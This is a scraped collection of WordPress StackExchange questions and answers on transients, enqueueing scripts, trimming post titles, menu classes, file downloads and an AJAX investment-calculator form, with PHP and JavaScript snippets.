Filters are for modifying the data, but actions are like bus stops where you can attach your functions to theme and they will be run when the script reaches an specific state. To use any of the above, they must be first declared somewhere. Let's take a look at this example from the codex page of [`apply_filters`](https://developer.wordpress.org/reference/functions/apply_filters/): ``` // Function that modifies the data function example_callback( $string, $arg1, $arg2 ) { // (maybe) modify $string return $string; } // The filter used by user add_filter( 'example_filter', 'example_callback', 10, 3 ); // Declaration of the filter by the person who $value = apply_filters( 'example_filter', 'filter me', $arg1, $arg2 ); ``` Now as you can see, the filter is declared and given a name by using `$data = apply_filters( ... )`. Then, somewhere else in the code it is called by using `add_filter( ... )`. So, if you have no filter declared attached to that data, there is no way you can filter that piece of data. Now about your code. It seems like you grabbed that piece of code from a class. Most decent developers use pluggable functions when they write their code. It means, they define their classes and functions as follows: ``` if ( ! class_exists( 'some_class' ) { class some_class { // Class code here } } ``` This allows the user to override that specific class or function, by simply defining it himself. Take a look at your code. If it's following the same practice, then you can copy the class to your child theme's `functions.php` file, and modify the parts of it you wish.
285,731
<p>I have a small shortcode which basically takes data from a JSON file and displays it on a page. The data in JSON is updated weekly, how can I use a transient so the data for the current week is cached?</p> <p>Here is my shortcode</p> <pre><code>function week_agenda() { $days = json_decode(file_get_contents('json_file')); unset($days[0]); ob_start(); ?&gt; &lt;div class="table-responsive"&gt; &lt;table class="table"&gt; &lt;thead&gt; &lt;tr&gt; &lt;th&gt; Title &lt;/th&gt; &lt;th&gt;Content&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; &lt;?php foreach($days as $data) { ?&gt; &lt;tr&gt; &lt;td&gt;&lt;?php echo $data[0]; ?&gt;&lt;/td&gt; &lt;/tr&gt; &lt;?php } ?&gt; &lt;/tbody&gt; &lt;/table&gt; &lt;/div&gt; &lt;?php $output = ob_get_clean(); return $output; } </code></pre>
[ { "answer_id": 285733, "author": "Drupalizeme", "author_id": 115005, "author_profile": "https://wordpress.stackexchange.com/users/115005", "pm_score": 3, "selected": false, "text": "<p>I add it the transient name to a variable to handle it easier.</p>\n\n<p>Next, I check if the return va...
2017/11/13
[ "https://wordpress.stackexchange.com/questions/285731", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/92046/" ]
I have a small shortcode which basically takes data from a JSON file and displays it on a page. The data in JSON is updated weekly, how can I use a transient so the data for the current week is cached? Here is my shortcode ``` function week_agenda() { $days = json_decode(file_get_contents('json_file')); unset($days[0]); ob_start(); ?> <div class="table-responsive"> <table class="table"> <thead> <tr> <th> Title </th> <th>Content</th> </tr> </thead> <tbody> <?php foreach($days as $data) { ?> <tr> <td><?php echo $data[0]; ?></td> </tr> <?php } ?> </tbody> </table> </div> <?php $output = ob_get_clean(); return $output; } ```
Use this instead of the line in wich you define `$days` (your second line): ``` $transient = get_transient( 'your_transient_key' ); if( !$transient ): $days = file_get_contents( 'json_file' ); set_transient( 'your_transient_key', $days, DAY_IN_SECONDS*7 ); else: $days = $transient; endif; $days = json_decode( $days ); ... ``` May be a bit rough but you get the idea.
285,774
<p><a href="http://fitclaw.com" rel="nofollow noreferrer">Fitclaw</a></p> <p>I have problem with loading my css/js files. They're uploaded on ftp but i had to direct them with the whole path including domain because with ../ it didn't worked. That's for CSS. JS doesn't works i don't know why i please you to see the page source and i will upload here the functions.php from the bootstrap theme.</p> <pre><code>&lt;?php function add_theme_scripts(){ wp_enqueue_script('jquery', get_stylesheet_uri() . 'http://fitclaw.com/wp-content/themes/Coming%20Soon/js/jquery.js'); wp_enqueue_style( 'style', get_stylesheet_uri() . 'http://fitclaw.com/wp-content/themes/Coming%20Soon/style.css' ); wp_enqueue_style( 'loader', get_template_directory_uri() . 'http://fitclaw.com/wp-content/themes/Coming%20Soon/css/loader.css'); wp_enqueue_style( 'font-awesome.min', get_template_directory_uri() . 'http://fitclaw.com/wp-content/themes/Coming%20Soon/css/font-awesome.min.css'); wp_enqueue_style( 'ie.min', get_template_directory_uri() . 'http://fitclaw.com/wp-content/themes/Coming%20Soon/css/ie.css'); wp_enqueue_style( 'normalize', get_template_directory_uri() . 'http://fitclaw.com/wp-content/themes/Coming%20Soon/css/normalize.css'); wp_enqueue_script( 'jquery.countdown.min.js', get_template_directory_uri() . 'http://fitclaw.com/wp-content/themes/Coming%20Soon/js/jquery.countdown.min.js',array ( 'jquery' ) ); wp_enqueue_script( 'main', get_template_directory_uri() . 'http://fitclaw.com/wp-content/themes/Coming%20Soon/js/main.js',array ( 'jquery' )); wp_enqueue_script( 'plugins', get_template_directory_uri() . 'http://fitclaw.com/wp-content/themes/Coming%20Soon/js/plugins.js',array(' jquery ')); } add_action( 'wp_enqueue_scripts', 'add_theme_scripts' ); ?&gt; </code></pre> <p>This is functions.php and it doesn't work. Thanks for your help</p>
[ { "answer_id": 285776, "author": "socki03", "author_id": 43511, "author_profile": "https://wordpress.stackexchange.com/users/43511", "pm_score": 2, "selected": false, "text": "<p>You seem to be loading both file/folder names into the queue.</p>\n\n<p><code>get_template_directory_uri() . ...
2017/11/13
[ "https://wordpress.stackexchange.com/questions/285774", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131425/" ]
[Fitclaw](http://fitclaw.com) I have problem with loading my css/js files. They're uploaded on ftp but i had to direct them with the whole path including domain because with ../ it didn't worked. That's for CSS. JS doesn't works i don't know why i please you to see the page source and i will upload here the functions.php from the bootstrap theme. ``` <?php function add_theme_scripts(){ wp_enqueue_script('jquery', get_stylesheet_uri() . 'http://fitclaw.com/wp-content/themes/Coming%20Soon/js/jquery.js'); wp_enqueue_style( 'style', get_stylesheet_uri() . 'http://fitclaw.com/wp-content/themes/Coming%20Soon/style.css' ); wp_enqueue_style( 'loader', get_template_directory_uri() . 'http://fitclaw.com/wp-content/themes/Coming%20Soon/css/loader.css'); wp_enqueue_style( 'font-awesome.min', get_template_directory_uri() . 'http://fitclaw.com/wp-content/themes/Coming%20Soon/css/font-awesome.min.css'); wp_enqueue_style( 'ie.min', get_template_directory_uri() . 'http://fitclaw.com/wp-content/themes/Coming%20Soon/css/ie.css'); wp_enqueue_style( 'normalize', get_template_directory_uri() . 'http://fitclaw.com/wp-content/themes/Coming%20Soon/css/normalize.css'); wp_enqueue_script( 'jquery.countdown.min.js', get_template_directory_uri() . 'http://fitclaw.com/wp-content/themes/Coming%20Soon/js/jquery.countdown.min.js',array ( 'jquery' ) ); wp_enqueue_script( 'main', get_template_directory_uri() . 'http://fitclaw.com/wp-content/themes/Coming%20Soon/js/main.js',array ( 'jquery' )); wp_enqueue_script( 'plugins', get_template_directory_uri() . 'http://fitclaw.com/wp-content/themes/Coming%20Soon/js/plugins.js',array(' jquery ')); } add_action( 'wp_enqueue_scripts', 'add_theme_scripts' ); ?> ``` This is functions.php and it doesn't work. Thanks for your help
You seem to be loading both file/folder names into the queue. `get_template_directory_uri() . 'http://fitclaw.com/wp-content/themes/Coming%20Soon/js/jquery.js` should only be: `get_template_directory_uri() . '/js/jquery.js'` And so-on and so-forth. because `get_template_directory_uri` returns, or should be returning this string for you: `'http://fitclaw.com/wp-content/themes/Coming%20Soon/'` And you should always try to use those relative paths versus hard-coding them.
285,782
<p>In several post titles I have "years" (eg: "Lorem ipsum - 2018"), it's not a problem. But in another part of the blog I call these titles in PHP:</p> <p><code>$shortitle = wp_html_excerpt( get_the_title(), 23, '...' ); &lt;div class="col-md-9"&gt;' . $shortitle . '&lt;/div&gt;</code>. </p> <p>How could I remove the display of years in titles ? Thank you :)</p> <p>Update:</p> <p>Found the function str_replace, but it's weird for my case:</p> <pre><code> $title_long = get_the_title(); $excludeyears = array(" - 2017", " - 2018", " - 2019", " - 2020"); $title_long_exclude_years = str_replace($excludeyears, "", $title_long); $shortitle = wp_html_excerpt( $title_long_exclude_years, 23, '...' ); </code></pre> <p>it displays: </p> <blockquote> <p>Lorem ipsum – 201...</p> </blockquote> <p>Update 2:</p> <p>Okay, it's a problem with "-" character, but I dont have a solution.</p>
[ { "answer_id": 285797, "author": "Piyush Rawat", "author_id": 73600, "author_profile": "https://wordpress.stackexchange.com/users/73600", "pm_score": 0, "selected": false, "text": "<p>I am making an assumption that all the titles have same pattern, i.e hyphen followed by the year.</p>\n\...
2017/11/13
[ "https://wordpress.stackexchange.com/questions/285782", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131396/" ]
In several post titles I have "years" (eg: "Lorem ipsum - 2018"), it's not a problem. But in another part of the blog I call these titles in PHP: `$shortitle = wp_html_excerpt( get_the_title(), 23, '...' ); <div class="col-md-9">' . $shortitle . '</div>`. How could I remove the display of years in titles ? Thank you :) Update: Found the function str\_replace, but it's weird for my case: ``` $title_long = get_the_title(); $excludeyears = array(" - 2017", " - 2018", " - 2019", " - 2020"); $title_long_exclude_years = str_replace($excludeyears, "", $title_long); $shortitle = wp_html_excerpt( $title_long_exclude_years, 23, '...' ); ``` it displays: > > Lorem ipsum – 201... > > > Update 2: Okay, it's a problem with "-" character, but I dont have a solution.
Yes the problem is with the hyphen. WordPress converts hyphens with with spaces to en-dash. Following is the conversion with hyphens with WordPress: > > 1. Foo {3 hyphens, spaced} Bar → Foo — Bar (em-dash) > 2. Foo{3 hyphens, no space}Bar → Foo—Bar (em-dash) > 3. Foo {2 hyphens, spaced} Bar → Foo — Bar (em-dash) > 4. Foo{2 hyphens, no space}Bar → Foo–Bar (en-dash) > 5. Foo {1 hyphen, spaced} Bar → Foo – Bar (en-dash) > > > Refer [here](https://markjaquith.wordpress.com/2012/06/25/how-wordpress-handles-dashes-and-hyphens/) for this. For your specific issue, you can do the following. This has a limitation that date should be at the last of the title. ``` // WP converts hyphens with spaces to n-dash, so convert them to hyphen again. $title = str_replace( array( '&nbsp;', '&#160;', '&ndash;', '&#8211;', '&mdash;', '&#8212;' ), '-', get_the_title() ); // Explode using hyphen; $title = explode( '-', $title ); // Remove last element i.e date. array_pop( $title ); // Convert array to string. $title = implode( $title ); // Echo. echo $title; ``` OR you can do the same using regex like the following which do not have the limitation as above: ``` // WP converts hyphens with spaces to n-dash, so convert them to hyphen again. $title = str_replace( array( '&nbsp;', '&#160;', '&ndash;', '&#8211;', '&mdash;', '&#8212;' ), '-', get_the_title() ); // Pattern for date with hyphen and space. $pattern = '(\s\W\s\d+)'; // Replace with space. echo preg_replace( $pattern, ' ', $title ); ```
285,788
<p>I've read an infinite (yes there seems to be more than I care to read) same articles on how to apply a classes to the anchor not the link element using <code>nav_menu_link_attributes</code> and a walker.</p> <p>However, none of them implement the custom class option in the menu to be utilized on the anchor. Seems like a nice feature to have to allow the user to add their own class, however, what if I want to apply that class to an specific isolated element in the theme? </p> <p><a href="https://i.stack.imgur.com/RDFCU.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/RDFCU.png" alt="enter image description here"></a></p> <p>I have tried but not seen where it documents what this data value is returned in? How can I reference this optional piece of data?</p> <p>My project uses the anchor class attribute to scroll to the section of the page. </p>
[ { "answer_id": 285797, "author": "Piyush Rawat", "author_id": 73600, "author_profile": "https://wordpress.stackexchange.com/users/73600", "pm_score": 0, "selected": false, "text": "<p>I am making an assumption that all the titles have same pattern, i.e hyphen followed by the year.</p>\n\...
2017/11/13
[ "https://wordpress.stackexchange.com/questions/285788", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131432/" ]
I've read an infinite (yes there seems to be more than I care to read) same articles on how to apply a classes to the anchor not the link element using `nav_menu_link_attributes` and a walker. However, none of them implement the custom class option in the menu to be utilized on the anchor. Seems like a nice feature to have to allow the user to add their own class, however, what if I want to apply that class to an specific isolated element in the theme? [![enter image description here](https://i.stack.imgur.com/RDFCU.png)](https://i.stack.imgur.com/RDFCU.png) I have tried but not seen where it documents what this data value is returned in? How can I reference this optional piece of data? My project uses the anchor class attribute to scroll to the section of the page.
Yes the problem is with the hyphen. WordPress converts hyphens with with spaces to en-dash. Following is the conversion with hyphens with WordPress: > > 1. Foo {3 hyphens, spaced} Bar → Foo — Bar (em-dash) > 2. Foo{3 hyphens, no space}Bar → Foo—Bar (em-dash) > 3. Foo {2 hyphens, spaced} Bar → Foo — Bar (em-dash) > 4. Foo{2 hyphens, no space}Bar → Foo–Bar (en-dash) > 5. Foo {1 hyphen, spaced} Bar → Foo – Bar (en-dash) > > > Refer [here](https://markjaquith.wordpress.com/2012/06/25/how-wordpress-handles-dashes-and-hyphens/) for this. For your specific issue, you can do the following. This has a limitation that date should be at the last of the title. ``` // WP converts hyphens with spaces to n-dash, so convert them to hyphen again. $title = str_replace( array( '&nbsp;', '&#160;', '&ndash;', '&#8211;', '&mdash;', '&#8212;' ), '-', get_the_title() ); // Explode using hyphen; $title = explode( '-', $title ); // Remove last element i.e date. array_pop( $title ); // Convert array to string. $title = implode( $title ); // Echo. echo $title; ``` OR you can do the same using regex like the following which do not have the limitation as above: ``` // WP converts hyphens with spaces to n-dash, so convert them to hyphen again. $title = str_replace( array( '&nbsp;', '&#160;', '&ndash;', '&#8211;', '&mdash;', '&#8212;' ), '-', get_the_title() ); // Pattern for date with hyphen and space. $pattern = '(\s\W\s\d+)'; // Replace with space. echo preg_replace( $pattern, ' ', $title ); ```
285,798
<p>How to get last updated row or ID in wordpress.</p> <p>Like : <code>$wpdb-&gt;insert_id;</code></p>
[ { "answer_id": 292439, "author": "J.BizMai", "author_id": 128094, "author_profile": "https://wordpress.stackexchange.com/users/128094", "pm_score": 1, "selected": false, "text": "<p>I had the same problem.</p>\n\n<blockquote>\n <p>There is no equivalent function. <code>$wpdb-&gt;insert_...
2017/11/14
[ "https://wordpress.stackexchange.com/questions/285798", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/108991/" ]
How to get last updated row or ID in wordpress. Like : `$wpdb->insert_id;`
I had the same problem. > > There is no equivalent function. `$wpdb->insert_id` works only after `$wpdb->insert` > > > **Alternative way** If it's an update, you can either get the id with a query based on the data you have got, or most of the time, you should have already got the id before update it. ``` global $wpdb; $data = array( 'first_name' => "John", 'last_name' => "Doe" ); $where = array( 'id' => $my_id ); $res_update = $wpdb->update( $wpdb->prefix . "my_table", $data, $where ); if( $res_update === false ){ error_log( 'my error'); } return $my_id; ```
285,807
<p>I'm creating a plugin where user can download files. Currently I display download links like:</p> <pre><code>&lt;a href="plugin/directory/some/path/download.php?file_to_download_id=1"&gt;Some Download&lt;/a&gt; </code></pre> <p><strong>Problem:</strong></p> <p>I need to use wordpress core functionality like <code>is_user_logged_in()</code> or <code>get_current_user_id()</code> in the download.php . How am I able to use these functions in this php file?</p> <p>(PS: I do not want to include wp-load in download.php)</p>
[ { "answer_id": 285809, "author": "Pratik bhatt", "author_id": 60922, "author_profile": "https://wordpress.stackexchange.com/users/60922", "pm_score": -1, "selected": false, "text": "<p>As you have mentioned the file is located in your plugins folder you do not need to add the wp-load.php...
2017/11/14
[ "https://wordpress.stackexchange.com/questions/285807", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129760/" ]
I'm creating a plugin where user can download files. Currently I display download links like: ``` <a href="plugin/directory/some/path/download.php?file_to_download_id=1">Some Download</a> ``` **Problem:** I need to use wordpress core functionality like `is_user_logged_in()` or `get_current_user_id()` in the download.php . How am I able to use these functions in this php file? (PS: I do not want to include wp-load in download.php)
You should create a function in your plugin where you listen to a specific URL or watch for specific parameters. For example to generate the download link: ``` <?php $nonce = wp_create_nonce( 'download-' . $filename ); echo '<a href="/?_wp_nonce="' . $nonce . '&download=' . $filename . '">Some Download</a>'; ?> ``` And to download the file: ``` if ( ! empty( $_GET['_wp_nonce'] ) && ! empty( $_GET['download'] ) && wp_verify_nonce( $_GET['_wp_nonce'], 'download-' . $_GET['download'] ) ) { /* * Check if file exists and then output the right headers and the content of the file */ exit; } ```
285,844
<p>I have the following form</p> <pre><code>&lt;form name="interest_calculator" id="interest_calculator"&gt; &lt;input type="hidden" name="action" value="calculate_investor_interest" /&gt; &lt;div class="tab"&gt; &lt;h4&gt;&lt;span class="badge"&gt;01&lt;/span&gt; Investment Details&lt;/h4&gt; &lt;div class="form-group"&gt; &lt;label for="currency_type"&gt;Select Currency&lt;/label&gt; &lt;select name="currency_type" id="currency_type" class="form-control"&gt; &lt;option value="USD" selected&gt;USD&lt;/option&gt; &lt;option value="KSHS"&gt;KSHS&lt;/option&gt; &lt;/select&gt; &lt;small&gt;For USD transactions,our dollar exchange is @ &lt;strong&gt;1 USD = &lt;?php echo get_option('qfe_buying_rate');?&gt; KES today(buying)&lt;/strong&gt; and @ &lt;strong&gt;1 USD= &lt;?php echo get_option('qfe_selling_rate');?&gt; KES today(selling)&lt;/strong&gt;&lt;/small&gt; &lt;/div&gt; &lt;div id="principal_amount_group" class="form-group"&gt; &lt;label for="principal_amount"&gt;Amount to Invest&lt;/label&gt; &lt;small id="amount_error" class="error"&gt;&lt;/small&gt; &lt;input type="text" required name="principal_amount" id="the_principal_amt" class="form-control"/&gt; &lt;small id="amount_info"&gt;minimum amount is: &lt;strong&gt;&lt;?php echo get_option('qfe_minimum_usd');?&gt; USD&lt;/strong&gt;&lt;/small&gt; &lt;/div&gt; &lt;div class="form-group"&gt; &lt;label for="trade_months"&gt;Number of months to trade&lt;/label&gt; &lt;select name="trade_months" id="trade_months" class="form-control" required&gt; &lt;option value="3"&gt;3 Months&lt;/option&gt; &lt;option value="6"&gt;6 Months&lt;/option&gt; &lt;option value="9"&gt;9 Months&lt;/option&gt; &lt;option value="12"&gt;12 Months&lt;/option&gt; &lt;/select&gt; &lt;/div&gt; &lt;button id="btnDoCalculation" type="submit" class="btn btn-success pull-left" name="btnDoCalculation"&gt;Visualize Interest&lt;/button&gt; &lt;/div&gt; &lt;div class="clearfix"&gt;&lt;/div&gt; &lt;div class="tab"&gt; &lt;h4&gt;&lt;span class="badge"&gt;02&lt;/span&gt;Payment Details&lt;/h4&gt; &lt;div class="form-group"&gt; &lt;h3&gt;Charge Details&lt;/h3&gt; &lt;p&gt;Charge details are as follows:&lt;/p&gt; &lt;div class="row"&gt; &lt;div class="col-xs-12 col-sm-6"&gt; &lt;table id="deposit_results" class="table table-condensed"&gt; &lt;thead&gt; &lt;tr&gt; &lt;th&gt;Item&lt;/th&gt; &lt;th class="text-right"&gt;Cost&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td&gt;Amount to Deposit&lt;/td&gt; &lt;td id="deposit_value" class="text-right"&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Transfer Charge&lt;/td&gt; &lt;td id="management_charge_value" class="text-right"&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Total to Deposit&lt;/td&gt; &lt;td id="total_deposit_value" class="text-right"&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt; &lt;/table&gt; &lt;/div&gt; &lt;/div&gt; &lt;h3&gt;Banking Details&lt;/h3&gt; &lt;p&gt;&lt;strong&gt;Bank:&lt;/strong&gt; N/A&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Acc. No:&lt;/strong&gt; N/A&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Acc. Name&lt;/strong&gt;N/A&lt;/p&gt; &lt;/div&gt; &lt;div class="form-group"&gt; &lt;label for="the_schedule"&gt;Interest payment terms(Cannot be be altered)&lt;/label&gt; &lt;select name="the_schedule" id="the_schedule" class="form-control" required&gt; &lt;option value="monthly"&gt;Monthly&lt;/option&gt; &lt;option value="maturity" selected&gt;On Maturity&lt;/option&gt; &lt;/select&gt; &lt;small&gt;Money will be wired to your stated bank account. Other methods coming soon&lt;/small&gt; &lt;/div&gt; &lt;/div&gt; &lt;button id="nextBtn" class="btn btn-primary pull-right"&gt;Next&lt;/button&gt; &lt;button id="prevBtn" class="btn pull-right"&gt;Previous&lt;/button&gt; &lt;!-- Circles which indicates the steps of the form: --&gt; &lt;div style="text-align:center;margin-top:40px;"&gt; &lt;span class="step"&gt;&lt;/span&gt; &lt;span class="step"&gt;&lt;/span&gt; &lt;/div&gt; &lt;/form&gt; </code></pre> <p>The ajax submission code for the btnDoCalculation is as follows:</p> <pre><code>$('#btnDoCalculation').click(function(e){ var formData = $('#interest_calculator').serialize(); $.ajax({ type: 'POST', url:'&lt;?php echo admin_url('admin-ajax.php');?&gt;', data:formData, action:'calculate_investor_interest', dataType: 'json', encode:true }).done(function(data){ if(data.success){ console.log(data.message); var results = data.calc_results; var newData = results.reduce(function(collection, element){ var rowData = {}; //create a new empty row element.reduce(function(collection, element){ //put the elements into the row rowData[element[0]] = element[1]; return rowData; }, rowData); collection.push(rowData); //add the row to the results return collection; }, []); var tr; //overwrite data $('#compound_interest_table tbody').empty(); for (var i=0; i&lt;newData.length; i++){ tr = $('&lt;tr/&gt;'); //put datejs library here..... tr.append('&lt;td&gt;' + newData[i].maturity_date + '&lt;/td&gt;' ); tr.append('&lt;td&gt;' + newData[i].interest_rate + '&lt;/td&gt;' ); tr.append('&lt;td class="hidden-xs hidden-sm"&gt;' + newData[i].interest_earned + '&lt;/td&gt;' ); tr.append('&lt;td&gt;' + newData[i].management_fee + '&lt;/td&gt;' ); tr.append('&lt;td class="hidden-xs hidden-sm"&gt;' + newData[i].gross_earning + '&lt;/td&gt;' ); tr.append('&lt;td class="hidden-xs hidden-sm"&gt;' + newData[i].investor_net_commission + '&lt;/td&gt;' ); tr.append('&lt;td&gt;' + newData[i].investor_net_earning + '&lt;/td&gt;' ); $('#compound_interest_table tbody').append(tr); } }else{ console.log('There is a problem '); } }).fail(function(data){ console.log(data); }); e.preventDefault(); }); </code></pre> <p>The ajax action hook :</p> <pre><code>//handle form submissions function handle_investment_calc(){ include_once('includes/controllers/investment_calculator.php'); } add_action('wp_ajax_calculate_investor_interest', 'handle_investment_calc'); </code></pre> <p>When using pure PHP, HTML and CSS, it works perfectly. The data from the form is sent, a calculation is done (via investment_calculator.php script) and the results are output to the compound_interest_table with no fuss. However, when I transfer the code to a wordpress plugin (as shown above) and try to do ajax the wordpress way, I am not getting any result output.</p> <p>Where am I going wrong? The desired effect is that when I click the Do calculation button, it returns output to the table as above. The investment_calculator script is ok. </p> <p>UPDATE:</p> <p>After adding the 'action' parameter to the ajax code, it seems that now data is being sent to the investment calc and results are ok (in the console). The results are however not outputting to the table. </p> <p>Console response <a href="https://i.stack.imgur.com/MCsxc.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/MCsxc.png" alt="Console response for Ajax Call"></a></p> <p>UPDATE 2:</p> <p>Modified the ajax call like this. </p> <pre><code>$.ajax({ type: 'POST', url:'&lt;?php echo admin_url('admin-ajax.php');?&gt;', data:formData, action:'calculate_investor_interest', dataType: 'json', encode:true, complete:function(r){ console.log(r.responseText); var results = r.responseText; var newData = results.reduce(function(collection, element){ var rowData = {}; //create a new empty row element.reduce(function(collection, element){ //put the elements into the row rowData[element[0]] = element[1]; return rowData; }, rowData); collection.push(rowData); //add the row to the results return collection; }, []); var tr; //overwrite data $('#compound_interest_table tbody').empty(); for (var i=0; i&lt;newData.length; i++){ tr = $('&lt;tr/&gt;'); //put datejs library here..... tr.append('&lt;td&gt;' + newData[i].maturity_date + '&lt;/td&gt;' ); tr.append('&lt;td&gt;' + newData[i].interest_rate + '&lt;/td&gt;' ); tr.append('&lt;td class="hidden-xs hidden-sm"&gt;' + newData[i].interest_earned + '&lt;/td&gt;' ); tr.append('&lt;td&gt;' + newData[i].management_fee + '&lt;/td&gt;' ); tr.append('&lt;td class="hidden-xs hidden-sm"&gt;' + newData[i].gross_earning + '&lt;/td&gt;' ); tr.append('&lt;td class="hidden-xs hidden-sm"&gt;' + newData[i].investor_net_commission + '&lt;/td&gt;' ); tr.append('&lt;td&gt;' + newData[i].investor_net_earning + '&lt;/td&gt;' ); $('#compound_interest_table tbody').append(tr); } } }); </code></pre> <p>Data is being recieved, thanks to @ Piyush Rawat but there's now a problem with the mapreduce function ('reduce not a function'). how to I solve it</p>
[ { "answer_id": 285809, "author": "Pratik bhatt", "author_id": 60922, "author_profile": "https://wordpress.stackexchange.com/users/60922", "pm_score": -1, "selected": false, "text": "<p>As you have mentioned the file is located in your plugins folder you do not need to add the wp-load.php...
2017/11/14
[ "https://wordpress.stackexchange.com/questions/285844", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/62852/" ]
I have the following form ``` <form name="interest_calculator" id="interest_calculator"> <input type="hidden" name="action" value="calculate_investor_interest" /> <div class="tab"> <h4><span class="badge">01</span> Investment Details</h4> <div class="form-group"> <label for="currency_type">Select Currency</label> <select name="currency_type" id="currency_type" class="form-control"> <option value="USD" selected>USD</option> <option value="KSHS">KSHS</option> </select> <small>For USD transactions,our dollar exchange is @ <strong>1 USD = <?php echo get_option('qfe_buying_rate');?> KES today(buying)</strong> and @ <strong>1 USD= <?php echo get_option('qfe_selling_rate');?> KES today(selling)</strong></small> </div> <div id="principal_amount_group" class="form-group"> <label for="principal_amount">Amount to Invest</label> <small id="amount_error" class="error"></small> <input type="text" required name="principal_amount" id="the_principal_amt" class="form-control"/> <small id="amount_info">minimum amount is: <strong><?php echo get_option('qfe_minimum_usd');?> USD</strong></small> </div> <div class="form-group"> <label for="trade_months">Number of months to trade</label> <select name="trade_months" id="trade_months" class="form-control" required> <option value="3">3 Months</option> <option value="6">6 Months</option> <option value="9">9 Months</option> <option value="12">12 Months</option> </select> </div> <button id="btnDoCalculation" type="submit" class="btn btn-success pull-left" name="btnDoCalculation">Visualize Interest</button> </div> <div class="clearfix"></div> <div class="tab"> <h4><span class="badge">02</span>Payment Details</h4> <div class="form-group"> <h3>Charge Details</h3> <p>Charge details are as follows:</p> <div class="row"> <div class="col-xs-12 col-sm-6"> <table id="deposit_results" class="table table-condensed"> <thead> <tr> <th>Item</th> <th class="text-right">Cost</th> </tr> </thead> <tbody> <tr> <td>Amount to Deposit</td> <td id="deposit_value" class="text-right"></td> </tr> <tr> <td>Transfer Charge</td> <td id="management_charge_value" class="text-right"></td> </tr> <tr> <td>Total to Deposit</td> <td id="total_deposit_value" class="text-right"><strong></strong></td> </tr> </tbody> </table> </div> </div> <h3>Banking Details</h3> <p><strong>Bank:</strong> N/A</p> <p><strong>Acc. No:</strong> N/A</p> <p><strong>Acc. Name</strong>N/A</p> </div> <div class="form-group"> <label for="the_schedule">Interest payment terms(Cannot be be altered)</label> <select name="the_schedule" id="the_schedule" class="form-control" required> <option value="monthly">Monthly</option> <option value="maturity" selected>On Maturity</option> </select> <small>Money will be wired to your stated bank account. Other methods coming soon</small> </div> </div> <button id="nextBtn" class="btn btn-primary pull-right">Next</button> <button id="prevBtn" class="btn pull-right">Previous</button> <!-- Circles which indicates the steps of the form: --> <div style="text-align:center;margin-top:40px;"> <span class="step"></span> <span class="step"></span> </div> </form> ``` The ajax submission code for the btnDoCalculation is as follows: ``` $('#btnDoCalculation').click(function(e){ var formData = $('#interest_calculator').serialize(); $.ajax({ type: 'POST', url:'<?php echo admin_url('admin-ajax.php');?>', data:formData, action:'calculate_investor_interest', dataType: 'json', encode:true }).done(function(data){ if(data.success){ console.log(data.message); var results = data.calc_results; var newData = results.reduce(function(collection, element){ var rowData = {}; //create a new empty row element.reduce(function(collection, element){ //put the elements into the row rowData[element[0]] = element[1]; return rowData; }, rowData); collection.push(rowData); //add the row to the results return collection; }, []); var tr; //overwrite data $('#compound_interest_table tbody').empty(); for (var i=0; i<newData.length; i++){ tr = $('<tr/>'); //put datejs library here..... tr.append('<td>' + newData[i].maturity_date + '</td>' ); tr.append('<td>' + newData[i].interest_rate + '</td>' ); tr.append('<td class="hidden-xs hidden-sm">' + newData[i].interest_earned + '</td>' ); tr.append('<td>' + newData[i].management_fee + '</td>' ); tr.append('<td class="hidden-xs hidden-sm">' + newData[i].gross_earning + '</td>' ); tr.append('<td class="hidden-xs hidden-sm">' + newData[i].investor_net_commission + '</td>' ); tr.append('<td>' + newData[i].investor_net_earning + '</td>' ); $('#compound_interest_table tbody').append(tr); } }else{ console.log('There is a problem '); } }).fail(function(data){ console.log(data); }); e.preventDefault(); }); ``` The ajax action hook : ``` //handle form submissions function handle_investment_calc(){ include_once('includes/controllers/investment_calculator.php'); } add_action('wp_ajax_calculate_investor_interest', 'handle_investment_calc'); ``` When using pure PHP, HTML and CSS, it works perfectly. The data from the form is sent, a calculation is done (via investment\_calculator.php script) and the results are output to the compound\_interest\_table with no fuss. However, when I transfer the code to a wordpress plugin (as shown above) and try to do ajax the wordpress way, I am not getting any result output. Where am I going wrong? The desired effect is that when I click the Do calculation button, it returns output to the table as above. The investment\_calculator script is ok. UPDATE: After adding the 'action' parameter to the ajax code, it seems that now data is being sent to the investment calc and results are ok (in the console). The results are however not outputting to the table. Console response [![Console response for Ajax Call](https://i.stack.imgur.com/MCsxc.png)](https://i.stack.imgur.com/MCsxc.png) UPDATE 2: Modified the ajax call like this. ``` $.ajax({ type: 'POST', url:'<?php echo admin_url('admin-ajax.php');?>', data:formData, action:'calculate_investor_interest', dataType: 'json', encode:true, complete:function(r){ console.log(r.responseText); var results = r.responseText; var newData = results.reduce(function(collection, element){ var rowData = {}; //create a new empty row element.reduce(function(collection, element){ //put the elements into the row rowData[element[0]] = element[1]; return rowData; }, rowData); collection.push(rowData); //add the row to the results return collection; }, []); var tr; //overwrite data $('#compound_interest_table tbody').empty(); for (var i=0; i<newData.length; i++){ tr = $('<tr/>'); //put datejs library here..... tr.append('<td>' + newData[i].maturity_date + '</td>' ); tr.append('<td>' + newData[i].interest_rate + '</td>' ); tr.append('<td class="hidden-xs hidden-sm">' + newData[i].interest_earned + '</td>' ); tr.append('<td>' + newData[i].management_fee + '</td>' ); tr.append('<td class="hidden-xs hidden-sm">' + newData[i].gross_earning + '</td>' ); tr.append('<td class="hidden-xs hidden-sm">' + 